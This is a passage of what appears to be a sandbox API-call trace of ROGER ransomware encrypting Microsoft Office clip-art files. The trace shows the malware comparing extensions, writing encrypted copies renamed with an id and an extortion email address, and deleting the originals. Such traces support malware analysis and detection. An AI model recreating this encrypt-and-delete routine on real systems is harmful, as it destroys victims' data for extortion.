Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.160] lstrlenW (lpString=".dbf") returned 4 [0056.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString=".1cd") returned 4 [0056.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString=".jpg") returned 4 [0056.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString=".doc") returned 4 [0056.161] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.161] lstrlenW (lpString=".docx") returned 5 [0056.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.161] lstrlenW (lpString=".pdf") returned 4 [0056.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString=".xls") returned 4 [0056.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString=".xlsx") returned 5 [0056.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.161] lstrlenW (lpString=".ppt") returned 4 [0056.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString=".zip") returned 4 [0056.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString=".rar") returned 4 [0056.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.161] lstrlenW (lpString=".bz2") returned 4 [0056.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.161] lstrlenW (lpString=".7z") returned 3 [0056.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.161] lstrlenW (lpString=".dbf") returned 4 [0056.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.162] lstrlenW (lpString=".1cd") returned 4 [0056.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0056.162] lstrlenW (lpString=".jpg") returned 4 [0056.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.162] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.162] lstrlenW (lpString="AG00130_.GIF") returned 12 [0056.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.162] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=5253) returned 1 [0056.162] CloseHandle (hObject=0x3f8) returned 1 [0056.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0056.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.163] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.163] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0056.163] GetLastError () returned 0x0 [0056.163] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x1485, lpOverlapped=0x0) returned 1 [0056.165] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x1490, lpOverlapped=0x0) returned 1 [0056.166] ReadFile (in: hFile=0x3f8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.166] WriteFile (in: hFile=0x39c, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.166] SetEndOfFile (hFile=0x39c) returned 1 [0056.166] CloseHandle (hObject=0x39c) returned 1 [0056.167] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.167] SetEndOfFile (hFile=0x3f8) returned 1 [0056.167] CloseHandle (hObject=0x3f8) returned 1 [0056.167] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.168] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0056.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.168] lstrlenW (lpString=".doc") returned 4 [0056.168] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.168] lstrlenW (lpString=".docx") returned 5 [0056.168] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.168] lstrlenW (lpString=".pdf") returned 4 [0056.168] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.168] lstrlenW (lpString=".xls") returned 4 [0056.168] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.168] lstrlenW (lpString=".xlsx") returned 5 [0056.168] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.168] lstrlenW (lpString=".ppt") returned 4 [0056.168] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.168] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.168] lstrlenW (lpString=".zip") returned 4 [0056.168] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.168] lstrlenW (lpString=".rar") returned 4 [0056.168] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.168] lstrlenW (lpString=".bz2") returned 4 [0056.168] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.168] lstrlenW (lpString=".7z") returned 3 [0056.169] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString=".dbf") returned 4 [0056.169] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString=".1cd") returned 4 [0056.169] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString=".jpg") returned 4 [0056.169] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString=".doc") returned 4 [0056.169] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.169] lstrlenW (lpString=".docx") returned 5 [0056.169] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.169] lstrlenW (lpString=".pdf") returned 4 [0056.169] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString=".xls") returned 4 [0056.169] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString=".xlsx") returned 5 [0056.169] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.169] lstrlenW (lpString=".ppt") returned 4 [0056.169] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.169] lstrlenW (lpString=".zip") returned 4 [0056.169] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString=".rar") returned 4 [0056.169] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.169] lstrlenW (lpString=".bz2") returned 4 [0056.169] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.169] lstrlenW (lpString=".7z") returned 3 [0056.170] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.170] lstrlenW (lpString=".dbf") returned 4 [0056.170] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.170] lstrlenW (lpString=".1cd") returned 4 [0056.170] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0056.170] lstrlenW (lpString=".jpg") returned 4 [0056.170] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.170] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.170] lstrlenW (lpString="AG00135_.GIF") returned 12 [0056.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.171] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=2596) returned 1 [0056.171] CloseHandle (hObject=0x3d8) returned 1 [0056.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0056.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0056.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0056.171] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.171] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0056.172] GetLastError () returned 0x0 [0056.172] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0xa24, lpOverlapped=0x0) returned 1 [0056.174] WriteFile (in: hFile=0x3f8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xa30, lpOverlapped=0x0) returned 1 [0056.175] ReadFile (in: hFile=0x3d8, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0056.175] WriteFile (in: hFile=0x3f8, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.175] SetEndOfFile (hFile=0x3f8) returned 1 [0056.175] CloseHandle (hObject=0x3f8) returned 1 [0056.175] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0056.175] SetEndOfFile (hFile=0x3d8) returned 1 [0056.176] CloseHandle (hObject=0x3d8) returned 1 [0056.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0056.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0056.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.176] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.176] lstrlenW (lpString=".doc") returned 4 [0056.176] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.176] lstrlenW (lpString=".docx") returned 5 [0056.176] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.177] lstrlenW (lpString=".pdf") returned 4 [0056.177] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString=".xls") returned 4 [0056.177] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString=".xlsx") returned 5 [0056.177] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.177] lstrlenW (lpString=".ppt") returned 4 [0056.177] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString=".zip") returned 4 [0056.177] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString=".rar") returned 4 [0056.177] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString=".bz2") returned 4 [0056.177] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.177] lstrlenW (lpString=".7z") returned 3 [0056.177] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString=".dbf") returned 4 [0056.177] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString=".1cd") returned 4 [0056.177] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString=".jpg") returned 4 [0056.177] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.177] lstrlenW (lpString=".doc") returned 4 [0056.177] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0056.177] lstrlenW (lpString=".docx") returned 5 [0056.177] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0056.178] lstrlenW (lpString=".pdf") returned 4 [0056.178] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0056.178] lstrlenW (lpString=".xls") returned 4 [0056.178] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0056.178] lstrlenW (lpString=".xlsx") returned 5 [0056.178] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0056.178] lstrlenW (lpString=".ppt") returned 4 [0056.178] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0056.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.178] lstrlenW (lpString=".zip") returned 4 [0056.178] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0056.178] lstrlenW (lpString=".rar") returned 4 [0056.178] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0056.178] lstrlenW (lpString=".bz2") returned 4 [0056.178] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0056.178] lstrlenW (lpString=".7z") returned 3 [0056.178] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0056.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.178] lstrlenW (lpString=".dbf") returned 4 [0056.178] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0056.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.178] lstrlenW (lpString=".1cd") returned 4 [0056.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0056.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0056.178] lstrlenW (lpString=".jpg") returned 4 [0056.178] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0056.178] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0056.178] lstrlenW (lpString="AG00139_.GIF") returned 12 [0056.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.060] GetFileSizeEx (in: hFile=0x414, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=10607) returned 1 [0057.060] CloseHandle (hObject=0x414) returned 1 [0057.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 0x20 [0057.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0057.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0057.061] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.061] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0057.061] GetLastError () returned 0x0 [0057.061] ReadFile (in: hFile=0x414, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x296f, lpOverlapped=0x0) returned 1 [0057.263] WriteFile (in: hFile=0x418, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x2970, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x2970, lpOverlapped=0x0) returned 1 [0057.264] ReadFile (in: hFile=0x414, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0057.264] WriteFile (in: hFile=0x418, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0057.264] SetEndOfFile (hFile=0x418) returned 1 [0057.264] CloseHandle (hObject=0x418) returned 1 [0057.264] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0057.264] SetEndOfFile (hFile=0x414) returned 1 [0057.265] CloseHandle (hObject=0x414) returned 1 [0057.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0057.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00139_.gif")) returned 1 [0057.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.266] lstrlenW (lpString=".doc") returned 4 [0057.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0057.266] lstrlenW (lpString=".docx") returned 5 [0057.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0057.266] lstrlenW (lpString=".pdf") returned 4 [0057.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0057.266] lstrlenW (lpString=".xls") returned 4 [0057.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0057.266] lstrlenW (lpString=".xlsx") returned 5 [0057.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0057.266] lstrlenW (lpString=".ppt") returned 4 [0057.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.266] lstrlenW (lpString=".zip") returned 4 [0057.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0057.266] lstrlenW (lpString=".rar") returned 4 [0057.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0057.266] lstrlenW (lpString=".bz2") returned 4 [0057.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0057.266] lstrlenW (lpString=".7z") returned 3 [0057.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.266] lstrlenW (lpString=".dbf") returned 4 [0057.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.266] lstrlenW (lpString=".1cd") returned 4 [0057.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0057.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 63 [0057.266] lstrlenW (lpString=".jpg") returned 4 [0057.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0057.267] lstrlenW (lpString="C:\\Program Files\\Microsoft 